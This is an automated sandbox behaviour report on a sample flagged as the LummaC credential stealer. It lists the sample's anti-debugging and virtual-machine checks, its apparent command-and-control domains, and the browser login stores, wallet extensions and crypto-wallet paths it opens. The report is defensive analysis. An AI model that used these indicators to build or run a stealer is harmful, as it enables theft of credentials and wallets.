Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-61437

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

API coverage: 4.9 %

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe TID: 3228

Thread sleep time: -120000s >= -30000s

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_004356A2 FindFirstFileExW,		0_2_004356A2
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_02125909 FindFirstFileExW,		0_2_02125909

Source: 5796.tmp.exe, 00000003.00000003.2719465489.0000000003634000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: Amcache.hve.10.dr	Binary or memory string: VMware
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: Amcache.hve.10.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: xHj1N8ylIf.exe, 00000000.00000002.2833908436.00000000005DE000.00000004.00000020.00020000.00000000.sdmp, xHj1N8ylIf.exe, 00000000.00000002.2833908436.000000000063C000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2706887652.000000000080B000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2706660509.0000000000809000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000002.2805940961.0000000000809000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.10.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: Amcache.hve.10.dr	Binary or memory string: vmci.sys
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.10.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.10.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.10.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.10.dr	Binary or memory string: VMware VMCI Bus Device
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.10.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: Amcache.hve.10.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual USB Mouse
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.10.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.10.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.10.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.10.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: Amcache.hve.10.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: Amcache.hve.10.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: Amcache.hve.10.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.10.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: 5796.tmp.exe, 00000003.00000003.2719465489.000000000362E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: Amcache.hve.10.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: 5796.tmp.exe, 00000003.00000002.2805940961.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

API call chain: ExitProcess graph end node

graph_3-13992

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Code function: 3_2_006A2080 LdrInitializeThunk,

3_2_006A2080

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Code function: 0_2_00427083 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00427083

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Code function: 0_2_0041B8FE LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0041B8FE

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0042CB0F mov eax, dword ptr fs:[00000030h]	0_2_0042CB0F
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020B0083 push dword ptr fs:[00000030h]	0_2_020B0083
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020F092B mov eax, dword ptr fs:[00000030h]	0_2_020F092B
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0211CD76 mov eax, dword ptr fs:[00000030h]	0_2_0211CD76
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020F0D90 mov eax, dword ptr fs:[00000030h]	0_2_020F0D90

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Code function: 0_2_00438871 GetProcessHeap,

0_2_00438871

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_00427083 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00427083
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0040D173 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040D173
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0040D306 SetUnhandledExceptionFilter,	0_2_0040D306
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0040C5B2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040C5B2
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_021172EA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_021172EA
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020FD3DA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_020FD3DA
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020FD56D SetUnhandledExceptionFilter,	0_2_020FD56D
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020FC819 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_020FC819

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: 5796.tmp.exe, 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: 5796.tmp.exe, 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: 5796.tmp.exe, 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
Source: 5796.tmp.exe, 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: 5796.tmp.exe, 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: 5796.tmp.exe, 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: 5796.tmp.exe, 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: 5796.tmp.exe, 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: 5796.tmp.exe, 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: skidjazzyric.click

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Process created: C:\Users\user\AppData\Local\Temp\5796.tmp.exe "C:\Users\user\AppData\Local\Temp\5796.tmp.exe"

Jump to behavior

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Code function: 0_2_0040D41B cpuid

0_2_0040D41B

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: EnumSystemLocalesW,	0_2_00438018
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_004380A5
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: GetLocaleInfoW,	0_2_004382F5
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0043841E
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: GetLocaleInfoW,	0_2_00438525
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_004385F2
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: EnumSystemLocalesW,	0_2_00431A7D
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_00437CBA
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: GetLocaleInfoW,	0_2_00431E70
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: EnumSystemLocalesW,	0_2_00437F7D
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: EnumSystemLocalesW,	0_2_00437F32
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: EnumSystemLocalesW,	0_2_0212827F
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: GetLocaleInfoW,	0_2_021220D7
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: EnumSystemLocalesW,	0_2_02128199
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: EnumSystemLocalesW,	0_2_021281E4
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_02128685
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: GetLocaleInfoW,	0_2_0212878C
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: GetLocaleInfoW,	0_2_02128553
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: GetLocaleInfoW,	0_2_0212855C
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_02128859
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_02127F21
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: EnumSystemLocalesW,	0_2_02121CE4

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Code function: 0_2_0040D06D GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_0040D06D

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Code function: 0_2_0041308A GetVersionExW,Concurrency::details::platform::InitializeSystemFunctionPointers,Concurrency::details::WinRT::Initialize,__CxxThrowException@8,

0_2_0041308A

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 5796.tmp.exe PID: 6036, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 5796.tmp.exe, 00000003.00000002.2805940961.0000000000862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: 5796.tmp.exe, 00000003.00000002.2805940961.0000000000809000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: 5796.tmp.exe, 00000003.00000002.2805940961.0000000000862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ","ez":"EQUA"},{"en":"cjelfplplebdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty"}t
Source: 5796.tmp.exe, 00000003.00000002.2805940961.0000000000809000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 5796.tmp.exe, 00000003.00000002.2805940961.0000000000862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: eum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":
Source: 5796.tmp.exe, 00000003.00000002.2805940961.0000000000862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: 5796.tmp.exe, 00000003.00000002.2805940961.0000000000862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallet"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Walle@
Source: 5796.tmp.exe, 00000003.00000002.2805940961.00000000007D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 5796.tmp.exe, 00000003.00000002.2805940961.0000000000862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
